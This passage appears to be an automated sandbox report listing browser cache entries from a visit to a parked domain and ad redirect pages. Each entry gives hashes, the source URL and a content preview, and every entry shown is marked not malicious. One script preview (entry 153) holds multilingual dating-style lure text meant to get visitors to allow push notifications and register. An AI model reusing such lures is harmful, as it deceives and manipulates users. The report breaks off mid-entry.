SSDEEP:	384:6RvBBVkrJxvcwYBUQ7X85AUfvDUNeFUBOgBmjeYP4PSvSdlb1bGjpXJNNRyIrOM:2k0p38OBmjeYP4xb1bG/bRyIH
MD5:	C2656E265EF58A9CC9F4B70B15DA5FB9
SHA1:	85C5EBDB89D4574D72688C2650D4B84B9B09770A
SHA-256:	F1D083FFAA644C708F11DB29707AA57C19246E6D32643B03FEE3F82C17B224B3
SHA-512:	6417AADEBEEF4EE35381BFC7034148D57FD061D84DE9974D798468C6426C24A6BD1C9913CF517ACCF3E349FA06CBDD546D2883EA8391C595285FE0C6127E26E8
Malicious:	false
Reputation:	low
URL:	https://telegram.org/css/bootstrap.min.css?3
Preview:	/!. Bootstrap v3.2.0 (http://getbootstrap.com). * Copyright 2011-2014 Twitter, Inc.. * Licensed under MIT (https://github.com/twbs/bootstrap/blob/master/LICENSE). /../!. * Generated using the Bootstrap Customizer (http://getbootstrap.com/customize/?id=92d2ac1b31978642b6b6). * Config saved to config.json and https://gist.github.com/92d2ac1b31978642b6b6. //! normalize.css v3.0.1 \| MIT License \| git.io/normalize */html{font-family:sans-serif;-ms-text-size-adjust:100%;-webkit-text-size-adjust:100%}body{margin:0}article,aside,details,figcaption,figure,footer,header,hgroup,main,nav,section,summary{display:block}audio,canvas,progress,video{display:inline-block;vertical-align:baseline}audio:not([controls]){display:none;height:0}[hidden],template{display:none}a{background:transparent}a:active,a:hover{outline:0}abbr[title]{border-bottom:1px dotted}b,strong{font-weight:bold}dfn{font-style:italic}h1{font-size:2em;margin:0.67em 0}mark{background:#ff0;color:#000}small{font-size:80%}sub,sup{fo

Chrome Cache Entry: 143

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (374), with no line terminators
Category:	downloaded
Size (bytes):	374
Entropy (8bit):	5.419524844733105
Encrypted:	false
SSDEEP:	6:xWzPZoTMYSgx6S5TfN5TwiPAX2HHJ6Pu67M+dytTSgx6S5OkHsNZZdV2HHJ6Pu67:xWty/RMAZ5VP9s7HeRMAGjOs7n
MD5:	589CE6F82F8DCAE1159E534B81AF90BF
SHA1:	E0C83B4C4E50313F76C99021181490E93726DC2B
SHA-256:	A08DEF1D5FB217C19B8A74ECD0D88B42B0F73CE3524006008B4765F463F8F632
SHA-512:	A06461443AF27F428DB3287AA7123B26FA16E80229312CEAF1E7257308CD718FEF69A2BAB7B69EABF5A2FA5234CE798755E64D6773A9EA75EF7E7E5EF02FFCA0
Malicious:	false
Reputation:	low
URL:	https://partner.googleadservices.com/gampad/cookie.js?domain=ww12.ngelit.com&client=dp-teaminternet09_3ph&product=SAS&callback=__sasCookie
Preview:	__sasCookie({"_cookies_":[{"_value_":"ID=92b55ae556c71643:T=1716504736:RT=1716504736:S=ALNI_MbC761s07K7Y91R73mkAvtsJB0EBA","_expires_":1750200736,"_path_":"/","_domain_":"ngelit.com","_version_":1},{"_value_":"UID=00000e299adff82f:T=1716504736:RT=1716504736:S=ALNI_MZH1n-EbsT_iCaW9ZHvRXmMHdMAaw","_expires_":1750200736,"_path_":"/","_domain_":"ngelit.com","_version_":2}]});

Chrome Cache Entry: 144

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows icon resource - 1 icon, 32x32, 32 bits/pixel
Category:	dropped
Size (bytes):	4286
Entropy (8bit):	5.154606666377356
Encrypted:	false
SSDEEP:	96:Z4iyi9iJiai5i5Pi1iJi/iafiZaMi9iC1ikiMQiTiaTVgbPepwpx:Z4x2yFSmiCkLfNMet1nGQNTux
MD5:	C62F95EC3CA566BE8BE396BCA24C92A5
SHA1:	51A6FF0E1A233A612AC33283BBB3D39C8F5E7644
SHA-256:	B91D02BA417BB7DEFD5B66E7B6D576EDD428DB676D389A417DFFAF7F01FC0956
SHA-512:	D15A87F51B06241AE83B85B60901F768B716F4F38901FD997E9A8029618188C75B24AA685999E1A016B458E4F2BDA838C49F85513F59AABB72628ACC5508F4CD
Malicious:	false
Reputation:	low
Preview:	...... .... .........(... ...@..... .............................................................................................................................................................................................................U?..T>.BR;.yQ:.tP8.3........................................................................................................VA..U@..T>..R;..Q9..O7..N5.M4..............................................................................................WC..WB..U@..T>..R;..Q9..O7..N5..L3..L2......................................................................................YE.!XD..WB..U@..T>..R;..Q9..O7..N5..L3..K1..J0..............................................................................ZG."ZF..XD..WB..U@..T>..R;..Q9..O7..N5..L3..K1..I/..I.......................................................................\I..[H..ZF..XD..WB..U@..T>..R<..Q9..O7..N5..L3..K1..I/..H-..G,..............................................................]K..\J..[H..ZF

Chrome Cache Entry: 145

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Web Open Font Format (Version 2), TrueType, length 33092, version 1.0
Category:	downloaded
Size (bytes):	33092
Entropy (8bit):	7.993894754675653
Encrypted:	true
SSDEEP:	768:c+2lFKscxQAuDJ5m/xiYEQNMJjFaf0TteqKt:cZlhcxJuDa/xiMMJhaItzKt
MD5:	057478083C1D55EA0C2182B24F6DD72F
SHA1:	CAF557CD276A76992084EFC4C8857B66791A6B7F
SHA-256:	BB2F90081933C0F2475883CA2C5CFEE94E96D7314A09433FFFC42E37F4CFFD3B
SHA-512:	98FF4416DB333E5A5A8F8F299C393DD1A50F574A2C1C601A0724A8EA7FB652F6EC0BA2267390327185EBEA55F5C5049AB486D88B4C5FC1585A6A975238507A15
Malicious:	false
Reputation:	low
URL:	https://fonts.gstatic.com/s/montserrat/v26/JTUSjIg1_i6t8kCHKm459Wlhyw.woff2
Preview:	wOF2.......D......6...............................a......Z?HVAR...`?STAT.8'2..F/~.....\|.M....0....6.$.... ..x..<..[.%Q.i.<.N..t.Yx..5.A...\|..g#l....5.....D.Bt.......l.Y].)..(..H.s..V..ruM....[.....I.0h.v.Hc.R..]....`$.I)G.+.}....E%.H..\|..%nEE.....+.x..7\|........[..V....[.......0...CA.._....)2.$.....s_fw....+.V.H.B.<?.?..mloc..1.Q....a.r#...)......\|.F>..../6-.......t......>......tO.:f@b....u.I(.Bc..b....7.?A.....vE.}...kb]W7.h..$@......T1t.8.._?...~..,..I..."Y...1..s.V........R.Bf2..I....s.........u.P.&..D./"2qf....p.sv..)b5.yR.$MR3.@.E../>{w.....f...cN...2.v.....]>..Ow...9/!v...r..1.4.n.w...T......=...hRH!.....2`...u..82L...S.v.ik^.V.....@..N....d{..{...NN"'.H...H$..H.<..{?..x.....zv.}.~.N)4.g...X.....8\|}...e,%.:..;.Q..88...@..=UVHe....g..zD?..U...~.J...oMoP..6B"Y.{BN...vY<.o..r.7.7j%.Z%.'...]...........YK...,.a-;.M....>\.......%'+8Z.1K.y...9.(;.5 ..M..L.(..9...T)........hx..i2Y...m..{ulY...d......")^.,.n.~..r..S.o.$.....6=.i...N.....q0 ....

Chrome Cache Entry: 146

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	downloaded
Size (bytes):	49
Entropy (8bit):	4.466978600084035
Encrypted:	false
SSDEEP:	3:RFh2AFIFMsMFNLRBhEN+Ldp:jhFIFMsMFpnki
MD5:	D4FBF7B7BB4073DAC1D51576A127C342
SHA1:	BB5E4D4F4DF37F50475FAE0A977AA0C7B23A572D
SHA-256:	401C9ECEFD580A307C3B24379B36A9F049EB6F16360C0E1CB0F7D56CB3849A31
SHA-512:	B1209F622C527537D89388649F1826E10A409F3C1335732466D73C2C0141DEB901A6B0C137EBB3CD3E8154C7AF3386574621AB2AC864110C1B9D7EE69379AD67
Malicious:	false
Reputation:	low
URL:	http://parking.parklogic.com/page/scribe.php?pcId=12&domain=ngelit.com&pId=449&usid=18&utid=25970526717&query=null&domainJs=ww12.ngelit.com&path=/&ss=true&lp=1
Preview:	// Scribe - version 1.91 (redwood.parklogic.com).

Chrome Cache Entry: 147

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	downloaded
Size (bytes):	391
Entropy (8bit):	4.7474201749507134
Encrypted:	false
SSDEEP:	6:t6wfDpmc4slzTPl2O4UYaeLIT4W+KS4S1UpMTQpi6jUs8sh6B+BSmK0C:t6qFPUPkHSt1UiT6i6jUs8b0I0C
MD5:	8959DDCD9712196961D93F58064ED655
SHA1:	62AB1E38E7E9FBF58A04381B76C2D96A9C829F24
SHA-256:	17C7A89BF169C2EE400E31B042CEA68513F06B9CD7D1E8990DBEC800F0D771C7
SHA-512:	5E9EFFA313C30B351345DB963238B4AFD0728CA302FD79A853C80C89F042266D44CC1D29492520FB0FA80B47135E54E6963DFC21972F6B236B84C1DA2FAD809D
Malicious:	false
Reputation:	low
URL:	https://afs.googleusercontent.com/ad_icons/standard/publisher_icon_image/search.svg?c=%23ffffff
Preview:	<svg fill='#ffffff' xmlns="http://www.w3.org/2000/svg" width="200" height="200" viewBox="0 0 24 24"><path d="M15.5 14h-.79l-.28-.27C15.41 12.59 16 11.11 16 9.5 16 5.91 13.09 3 9.5 3S3 5.91 3 9.5 5.91 16 9.5 16c1.61 0 3.09-.59 4.23-1.57l.27.28v.79l5 4.99L20.49 19l-4.99-5zm-6 0C7.01 14 5 11.99 5 9.5S7.01 5 9.5 5 14 7.01 14 9.5 11.99 14 9.5 14z"/><path d="M0 0h24v24H0z" fill="none"/></svg>.

Chrome Cache Entry: 148

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	downloaded
Size (bytes):	200
Entropy (8bit):	5.025855206845441
Encrypted:	false
SSDEEP:	6:t6wfDpmc4slhohC/vmI4SmK0xhFELE47zF:t6qnoU/vmRI0xQTF
MD5:	11B3089D616633CA6B73B57AA877EEB4
SHA1:	07632F63E06B30D9B63C97177D3A8122629BDA9B
SHA-256:	809FB4619D2A2F1A85DBDA8CC69A7F1659215212D708A098D62150EEE57070C1
SHA-512:	079B0E35B479DFDBE64A987661000F4A034B10688E26F2A5FE6AAA807E81CCC5593D40609B731AB3340E687D83DD08DE4B8B1E01CDAC9D4523A9F6BB3ACFCBA0
Malicious:	false
Reputation:	low
URL:	https://afs.googleusercontent.com/ad_icons/standard/publisher_icon_image/chevron.svg?c=%23ffffff
Preview:	<svg fill='#ffffff' xmlns="http://www.w3.org/2000/svg" height="24" viewBox="0 0 24 24" width="24"><path d="M0 0h24v24H0z" fill="none"/><path d="M5.88 4.12L13.76 12l-7.88 7.88L8 22l10-10L8 2z"/></svg>

Chrome Cache Entry: 149

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	dropped
Size (bytes):	200
Entropy (8bit):	5.025855206845441
Encrypted:	false
SSDEEP:	6:t6wfDpmc4slhohC/vmI4SmK0xhFELE47zF:t6qnoU/vmRI0xQTF
MD5:	11B3089D616633CA6B73B57AA877EEB4
SHA1:	07632F63E06B30D9B63C97177D3A8122629BDA9B
SHA-256:	809FB4619D2A2F1A85DBDA8CC69A7F1659215212D708A098D62150EEE57070C1
SHA-512:	079B0E35B479DFDBE64A987661000F4A034B10688E26F2A5FE6AAA807E81CCC5593D40609B731AB3340E687D83DD08DE4B8B1E01CDAC9D4523A9F6BB3ACFCBA0
Malicious:	false
Reputation:	low
Preview:	<svg fill='#ffffff' xmlns="http://www.w3.org/2000/svg" height="24" viewBox="0 0 24 24" width="24"><path d="M0 0h24v24H0z" fill="none"/><path d="M5.88 4.12L13.76 12l-7.88 7.88L8 22l10-10L8 2z"/></svg>

Chrome Cache Entry: 150

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	downloaded
Size (bytes):	80510
Entropy (8bit):	4.782228416772914
Encrypted:	false
SSDEEP:	768:Uqnm8OAL1Mzocm4KyH2CuwZwmij34k4RDl8Ibgo:JOocm4FuwZ5ijINRDl8o
MD5:	79877FB82DE8CA50845081E3C9A201C5
SHA1:	4F6EA69C0E03431FFA1A097A45453B5B3B246D8B
SHA-256:	AF35CC6ABA34E5005DE77099DFA72D4C1A7715D28DDCEC343F48031DC8CB08BC
SHA-512:	A0AC6C78D553964668B515BE45822F1DACBE616E0C7C341526A156CBD67D6E495A160EB15858F30F2C7501571684380B0B797510A00BD0074A7E894ABE75DB15
Malicious:	false
Reputation:	low
URL:	https://cdn.jsdelivr.net/npm/bootstrap-icons@1.8.1/font/bootstrap-icons.css
Preview:	@font-face {. font-family: "bootstrap-icons";. src: url("./fonts/bootstrap-icons.woff2?524846017b983fc8ded9325d94ed40f3") format("woff2"),.url("./fonts/bootstrap-icons.woff?524846017b983fc8ded9325d94ed40f3") format("woff");.}...bi::before,.[class^="bi-"]::before,.[class*=" bi-"]::before {. display: inline-block;. font-family: bootstrap-icons !important;. font-style: normal;. font-weight: normal !important;. font-variant: normal;. text-transform: none;. line-height: 1;. vertical-align: -.125em;. -webkit-font-smoothing: antialiased;. -moz-osx-font-smoothing: grayscale;.}...bi-123::before { content: "\f67f"; }..bi-alarm-fill::before { content: "\f101"; }..bi-alarm::before { content: "\f102"; }..bi-align-bottom::before { content: "\f103"; }..bi-align-center::before { content: "\f104"; }..bi-align-end::before { content: "\f105"; }..bi-align-middle::before { content: "\f106"; }..bi-align-start::before { content: "\f107"; }..bi-align-top::before { content: "\f108"; }..bi-alt::befo

Chrome Cache Entry: 151

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text, with very long lines (524), with CRLF line terminators
Category:	downloaded
Size (bytes):	8560
Entropy (8bit):	5.567428811581608
Encrypted:	false
SSDEEP:	192:pvZEvApfbgGnuwiAZGf8/OFmTOQoyEmjEmaT9HDNcT9HDN8T9HDNfT9HDNYswIDY:pvZEvApfbgLAZGf8/AxQN5j5aT9HST99
MD5:	95E7EB8871FA4A794E2349BFF84DFBE9
SHA1:	8BE7EB4DFA951CBF710ECC7C827821E9B1F67B3B
SHA-256:	79A6DFCD7585EE2A72FA76B4809D8A3BFD286596B5DF16F3D88C1DAD7F8C0CB1
SHA-512:	D738A70506E9461DEF5A7AC12B40CEF439F43991DD2EDC9851EFA8667B2EBDE3DD3A16D7801851EDF23CF2EF91D709B869359309D24FAEA76954DAC303DFCEA8
Malicious:	false
Reputation:	low
URL:	https://secretsafedomain.com/s?a=81528&sm=235&co=112356&mt=16&s1=EVOS_TAZZ&s2=576747
Preview:	<!DOCTYPE html>..<html lang="en">..<head>.. <meta charset="UTF-8">.. <meta http-equiv="X-UA-Compatible" content="ie=edge">.. <meta name="viewport".. content="width=device-width, initial-scale=1, minimum-scale=1, maximum-scale=1, user-scalable=no">.. <link rel="stylesheet" href="https://cdn.jmp-assets.com/assets/2843/css/main.css">.. <script src="https://cdn.jmp-assets.com/assets/1714/js/jquery.min.js"></script>.. <script src="https://cdn.jmp-assets.com/devassets/3198/js/multilang_main_gender.js"></script>.. <link rel="stylesheet" href="https://cdn.jmp-assets.com/assets/2246/css/age-styles-new.css">.. <title></title>.. <link rel="shortcut icon" href="https://cdn.jmp-assets.com/assets/1373/other/favicon.ico" type="image/x-icon">.. <script src="https://cdn.jmp-assets.com/assets/1387/js/backoffer.js"></script>.. Google Tag Manager -->.. <script>(function(w,d,s,l,i){w[l]=w[l]\|\|[];w[l].push({'gtm.start':.. new Date().getTime(),event:'gtm.js'});var f=d.getElemen

Chrome Cache Entry: 152

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 1500 x 600, 8-bit colormap, non-interlaced
Category:	downloaded
Size (bytes):	11375
Entropy (8bit):	7.645494653990172
Encrypted:	false
SSDEEP:	192:Wg3JLNIdFb540f7mqTiLHrBjcCTN1MbaJD/RBse6ogkORdLv2Ha/:vD4N54IsHVjdN1tD7lODL/
MD5:	0CB2E5165DC9324EB462199F04E1FFA9
SHA1:	9E0F89847EC8A98D98A6020BC5C4ED32B7A48BF8
SHA-256:	67DFF0AAD873050F12609885F2264417CCDD0D438311000A704C89F0865F7865
SHA-512:	7A285C4A87B9F9093B7BA720D8FE08E0AD7E2EBDE9EF8C8D11B70AFA08245AF8F8A7281C7B3FBE8BAD21C3AFDE4F32634D3BD416822892AA47BA82C12F4B8191
Malicious:	false
Reputation:	low
URL:	http://d38psrni17bvxu.cloudfront.net/themes/cleanPeppermintBlack_657d9013/img/arrows.png
Preview:	.PNG........IHDR.......X.....Om......tEXtSoftware.Adobe ImageReadyq.e<....PLTE......cdtIK^IK]IK\03IHK_acsceubdtcet..0=@SHK]IL]HK\MPbNQbORc.....0"&;(,@+/B04I.2F/3G-1D04H.2E04G15H26I59L8<P6:M9=Q7;N:>R:>Q;?R<@SIL\beuadtbetcftbes..-..0. 5.!6."7.#8."6.$9 %:!&;"'<"';$)>#(<%?$)=&+@%>',A&+?(-B).C(-A).B/C+0D,1E05I15G<@R=ASIM_HL]KO`HL\MQbaeu.....-../.....0../.....0../..1..1..2..3..4. 5.!6.#8.$9.%: &;"':$)<&+>',?(-@).A/B+0C,1D/A-2E.3F/4G05H16I/4F05G38K6;N49K;@S;@R<ASGL^bfuaetbft.....0.!5."6.#7.$8.%9 &:!';"(<!':#)=#)<$=&,@&,?+1E)/B06IGL]GL\HM]bfs..-.....0..1. 4.!5."6.#7.$8 '< ';*0B.4F06H06G..-..0.!5 (< (;...................................................................................................................................................................................................................................................t....tRNS..............................................................................................................................................

Chrome Cache Entry: 153

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Unicode text, UTF-8 text, with very long lines (7658), with no line terminators
Category:	downloaded
Size (bytes):	7853
Entropy (8bit):	5.423972779748938
Encrypted:	false
SSDEEP:	192:Wjq9DPq7e3RIcPdf1Wfjejq9DP4Ojq9DPWWfPCfFdC7elUZqwutgiZn9DPmT:5Lb3V18BL4RLVPED9LS
MD5:	7152525F63649929A736F6EFB78B58A5
SHA1:	5BF8138B39EAEEBDF4681AD31FAC3A02075E36AD
SHA-256:	F1F5518E39341D6F4189BE101A85C496ADD2A43B569A809BD3193D52F3E61DE1
SHA-512:	0A7EDA2735E297E729386B7D44558035F27ABFB99163570D692F2996CDBE975C8DA7CA7A2AD35851E14CDE7C13BFAECF9C97720C8D8F8FCCB9D8475D2C4B6BAD
Malicious:	false
Reputation:	low
URL:	https://cdn.jmp-assets.com/prod/push-lang-config.js
Preview:	var langConf={};langConf.en={lang:"en",iconURL:"/images/icon.png",externalStyle:{popUpPath:"/",title:"HI sweet. :) Wanna chat now? So click here))) I'm free tonight",message:"Ann, 26 y.o.",btnclose:"Later ",btnallow:"Chat NOW"},innerStyle:{userCustomizeText:"Click <strong>'Allow'</strong> to let me chat with you. I'd love to know you better.",offerText:"We can shake a little after you register (it's free)."}};langConf.es={lang:"es",iconURL:"/images/icon1.jpg",externalStyle:{popUpPath:"/landing/dtes/",title:"Hola, beb. :) .Quieres chatear ahora? As. que haz clic aqu.))) Estoy libre esta noche",message:"Ann, 26 a.os.",btnclose:"Luego ",btnallow:"Luego Chatea ahora"},innerStyle:{userCustomizeText:"Haga clic en <strong>'Permitir'</strong> para dejarme chatear con usted. Me encantaria conocerte mejor.",offerText:"Podemos coquetear y hablar sobre nuestra fecha futura despues de que se registre (es gratis)."}};langConf.it={lang:"it",iconURL:"/images/icon1.jpg",externalStyle:{popUpPath:"

Chrome Cache Entry: 154

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (2247)
Category:	downloaded
Size (bytes):	190260
Entropy (8bit):	5.672849160136793
Encrypted:	false
SSDEEP:	3072:87GweXBcXyGqPDq7kX38XqXGR7LGtvJUjXjM:8z4BG69X07LYvebw
MD5:	3947C99F4A1FD3424E8D15C1F81F16DC
SHA1:	9A195FD17D772A3856C0C783729BCD393CE6DBDA
SHA-256:	8521CCFFD34558C82E6E5A5DC66238FCB563A7A53581B2ADD5C9F797CD7F57FB
SHA-512:	163B6756D40A3F8681C225A2B78EA33159A8264402FF2445A9EF0766B0C50B13CA491B2E48CF997FA99864F275E6641BD981E57AE34CCD6B8446F4C3CAC7C607
Malicious:	false
Reputation:	low
URL:	https://www.google.com/adsense/domains/caf.js?abp=1&adsdeli=true
Preview:	if(!window['googleNDT_']){window['googleNDT_']=(new Date()).getTime();}(function() {window.googleAltLoader=3;var sffeData_={service_host:"www.google.com",hash:"5603203904245007042",packages:"domains",module:"ads",version:"1",m:{cei:"17300003,17301431,17301433,17301436",ah:true,uatm:500,ecfc2:true,llrm:1000,lldl:"bS5zZWFycy5jb20=",abf:{"_disableAdRequestForNewConsentStrategy":true,"_enableNewConsentStrategy":true,"_fixCtcLinksOnIos":true,"_googEnableQup":true,"_switchGwsRequestToUseAdsenseDomain":true,"_useServerProvidedDomain":true,"_waitOnConsentForFirstPartyCookie":true,"enableEnhancedTargetingRsonc":true,"enableNonblockingSasCookie":true},mdp:1800000,ssdl:"YXBwc3BvdC5jb20sYmxvZ3Nwb3QuY29tLGJyLmNvbSxjby5jb20sY2xvdWRmcm9udC5uZXQsZXUuY29tLGhvcHRvLm9yZyxpbi5uZXQsdHJhbnNsYXRlLmdvb2csdWsuY29tLHVzLmNvbSx3ZWIuYXBw",cdl:false,cdh:""}};var m;function ca(a){var b=0;return function(){return b<a.length?{done:!1,value:a[b++]}:{done:!0}}}var da="function"==typeof Object.defineProperties?Object.def

Chrome Cache Entry: 155

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 72x72, segment length 16, progressive, precision 8, 1080x1071, components 3
Category:	dropped
Size (bytes):	156077
Entropy (8bit):	7.964584883783361
Encrypted:	false
SSDEEP:	3072:+vXQS8gNSVwVg2V/bijruoPdulnnBmaNVMRJtT1DRVxSTbN9KF:+T3NSO+2tbijrlPduN0a7+T1Dp8KF
MD5:	1E4E8BF38A736DDBF3B37F725C2C6996
SHA1:	8665BB1F3713FA53ED4F049847781EE46CC02E39
SHA-256:	EB1AFA33DE03F6734510282FBE8CF0C0DBAB3C91FCCBFA379C50681D419ADB65
SHA-512:	6BB1DB53658A94DD0C0552EA6217136EE76FBD5F46A9C650A19C39690A809ACA60B037A164618FE0A3ECFF93F2C23CA75CA9067DCCCC04442EFFF117056C677D
Malicious:	false
Reputation:	low
Preview:	......JFIF.....H.H.....(ICC_PROFILE...............mntrRGB XYZ ............acsp.......................................-....................................................desc.......trXYZ...d....gXYZ...x....bXYZ........rTRC.......(gTRC.......(bTRC.......(wtpt........cprt.......<mluc............enUS...X.....s.R.G.B................................................................................XYZ ......o...8.....XYZ ......b.........XYZ ......$.........para..........ff......Y.......[........XYZ ...............-mluc............enUS... .....G.o.o.g.l.e. .I.n.c... .2.0.1.6...C....................................................................C......................................................................./.8.."..................................................................................l.~.E...K..zB...wZ`.c....H......<.>t.W.2\.9.{...5..Z.r.r.7YJ.mI...%.J.*.%U.(..()m....lyh. U.j..&)....Y.....AzI%d}.5.Z."I"."I!<........>..8...$..Q..;2...~^.\..s.?b....?._?w_9I,..A.}W.wD..

Chrome Cache Entry: 156

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with CRLF line terminators
Category:	downloaded
Size (bytes):	10475
Entropy (8bit):	5.018057298809744
Encrypted:	false
SSDEEP:	192:ceAe6ZSZPHwnF+oiH5PKqeKcn1jHUC0ZaOu:ex0ZTu
MD5:	DB9088E34BFFA3E8929DAA01E88B3935
SHA1:	E41698E831763623C0ADA4A9B33A7C46E8F1AC6E
SHA-256:	8A117FB03E90277EB97FD3E70A7581E977C69EADEE9016216EA790A2AA4EE5F4
SHA-512:	D9E70738ACBAC9B70F7D80B9C6CE5FF41ACD587A29370A561FD147747793B6AE8319C6F4379ECECCE1098C1270426EEADBC867BB222B69759B51C0ADC55E8A51
Malicious:	false
Reputation:	low
URL:	https://cdn.jmp-assets.com/assets/2843/css/main.css
Preview:	@import url(https://fonts.googleapis.com/css?family=Montserrat:400,500,600,700&display=swap);..@-webkit-keyframes j {.. 0% {.. opacity: 0;.. -webkit-transform: translate3d(0, 10rem, 0);.. transform: translate3d(0, 10rem, 0);.. }.. to {.. opacity: 1;.. -webkit-transform: translateZ(0);.. transform: translateZ(0);.. }..}..@keyframes j {.. 0% {.. opacity: 0;.. -webkit-transform: translate3d(0, 10rem, 0);.. transform: translate3d(0, 10rem, 0);.. }.. to {.. opacity: 1;.. -webkit-transform: translateZ(0);.. transform: translateZ(0);.. }..}...fadeInUp {.. -webkit-animation: j 0.4s;.. animation: j 0.4s;..}..@-webkit-keyframes k {.. 0% {.. opacity: 0;.. -webkit-transform: translate3d(0, -10rem, 0);.. transform: translate3d(0, -10rem, 0);.. }.. to {.. opacity: 1;.. -webkit-transform: translateZ(0);.. transform: translateZ(0);.. }..}..@keyframes k {.. 0% {.. opacity: 0;.. -webkit-transform: translate3d(0, -10rem, 0);..

Chrome Cache Entry: 157

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	downloaded
Size (bytes):	337
Entropy (8bit):	4.342086889518963
Encrypted:	false
SSDEEP:	6:7mF5vM2jo52GGAJ1gRdIl3K3aqCkAXq0yveHkOxwGyYA8XIi9AU:yF5vM2cMGGGSdIohJAXDyvwkwwGyYHXN
MD5:	A01E36ED97A0F4E064F9A2AA2B466148
SHA1:	E6A44EA80EEE8AB24C98B1EBA13CBC7FA9317C14
SHA-256:	5C892A0A872B30B4DCAD6D5B308C44D1CEB335594B2E330A1EFB1C7B8742A8BC
SHA-512:	D19BDA357A28133FD663195A148F4C374F98034ED32632B35C12201E31A6C3F7F25AC36E72CB43F249D04B516749D649E20C8F29E0A8CBA1FB6A2826CCE95563
Malicious:	false
Reputation:	low
URL:	https://simxtrackredirecttszz.pages.dev/style.css
Preview:	div ul {. display: flex;. justify-content: center;. list-style: none;. padding: 10px;. margin-top: 9px;.}..div ul li a {. padding: 8px;. font-size: 16px;.}...ads-fixed {. text-align: center;. bottom: 0;. left: 0;. right: 0;. position: fixed;.}...ads-mini {. text-align: center;. margin: 0rem;.}

Chrome Cache Entry: 158

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	downloaded
Size (bytes):	7320
Entropy (8bit):	5.43656167218766
Encrypted:	false
SSDEEP:	192:YloQTEtmSblvQMrtFS+lSQ1OtcS9lBQWNtjST:QHaoOR2aV
MD5:	E7DB06B55784B96BFEDF12B53B61CE68
SHA1:	2CE6F8894295E6F7E1F5EB6AF6DAFA62C331A662
SHA-256:	156D6126D329168667F3FC9FD67A12202EAE1AC3619318E0FFF058FB74944C1D
SHA-512:	2730621CF437CC319AE504EC88C22BF5D9DB616157FB90DCFE249AABCB741E15C0F822D76D1C1B88A146266F4F75E176F8F8F81A9686B938726BC13DCEB3CDEB
Malicious:	false
Reputation:	low
URL:	"https://fonts.googleapis.com/css?family=Montserrat:400,500,600,700&display=swap"
Preview:	/* cyrillic-ext /.@font-face {. font-family: 'Montserrat';. font-style: normal;. font-weight: 400;. font-display: swap;. src: url(https://fonts.gstatic.com/s/montserrat/v26/JTUSjIg1_i6t8kCHKm459WRhyzbi.woff2) format('woff2');. unicode-range: U+0460-052F, U+1C80-1C88, U+20B4, U+2DE0-2DFF, U+A640-A69F, U+FE2E-FE2F;.}./ cyrillic /.@font-face {. font-family: 'Montserrat';. font-style: normal;. font-weight: 400;. font-display: swap;. src: url(https://fonts.gstatic.com/s/montserrat/v26/JTUSjIg1_i6t8kCHKm459W1hyzbi.woff2) format('woff2');. unicode-range: U+0301, U+0400-045F, U+0490-0491, U+04B0-04B1, U+2116;.}./ vietnamese */.@font-face {. font-family: 'Montserrat';. font-style: normal;. font-weight: 400;. font-display: swap;. src: url(https://fonts.gstatic.com/s/montserrat/v26/JTUSjIg1_i6t8kCHKm459WZhyzbi.woff2) format('woff2');. unicode-range: U+0102-0103, U+0110-0111, U+0128-0129, U+0168-0169, U+01A0-01A1, U+01AF-01B0, U+0300-0301, U+0303-0304, U+0308-0309, U+0323, U+

Chrome Cache Entry: 159

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows icon resource - 3 icons, 48x48, 32 bits/pixel, 32x32, 32 bits/pixel
Category:	downloaded
Size (bytes):	15086
Entropy (8bit):	4.980767694952946
Encrypted:	false
SSDEEP:	96:jJkRRRRRRRRRRRRRRRRRRRRRRRRRRRRutRRRRRRRRRRRRRRRRRRRRRRRRRRRRRRC:jJ/1MJNF6m9XC801f6x7QJGp18G2QR
MD5:	5791D664309E275F4569D2F993C44782
SHA1:	A68F363153614A09F10AE2892C134B9C4B001D4B
SHA-256:	4FF54BC38C267DC3A8C95F6ED4590336BAAEC70433EF15D027DDCA608C391E78
SHA-512:	93502A68F14FD4F87E0AA2CAD92A5657A8587E6ACB1C108CCD8CEB5E52776E77DF867962C51E1290316BB78027DA636F38C065294871B4400FBBC4DEDF622EE1
Malicious:	false
Reputation:	low
URL:	https://telegram.org/img/favicon.ico
Preview:	......00.... ..%..6... .... ......%........ .h....6..(...0...`..... ......$...................................................................................".."6."o."..".."..".."..".."..".."..".."o."6.#......................................................................................................................#..#(."s."..".."..".."..".."..".."..".."..".."..".."..".."s.#(.#..................................................................................................#..#-.#..#..#..#..#..#..#..#..#..#..#..#..#..#..#..#..#..#..#..#..#..#..#-.#......................................................................................#..#}.#..#..#..#..#..#..#..#..#..#..#..#..#..#..#..#..#..#..#..#..#..#..#..#..#}.#..............................................................................#:.#..#..#..#..#..#..#..#..#..#..#..#..#..#..#..#..#..#..#..#..#..#..#..#..

Chrome Cache Entry: 160

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Java source, ASCII text
Category:	downloaded
Size (bytes):	19074
Entropy (8bit):	4.664649071447495
Encrypted:	false
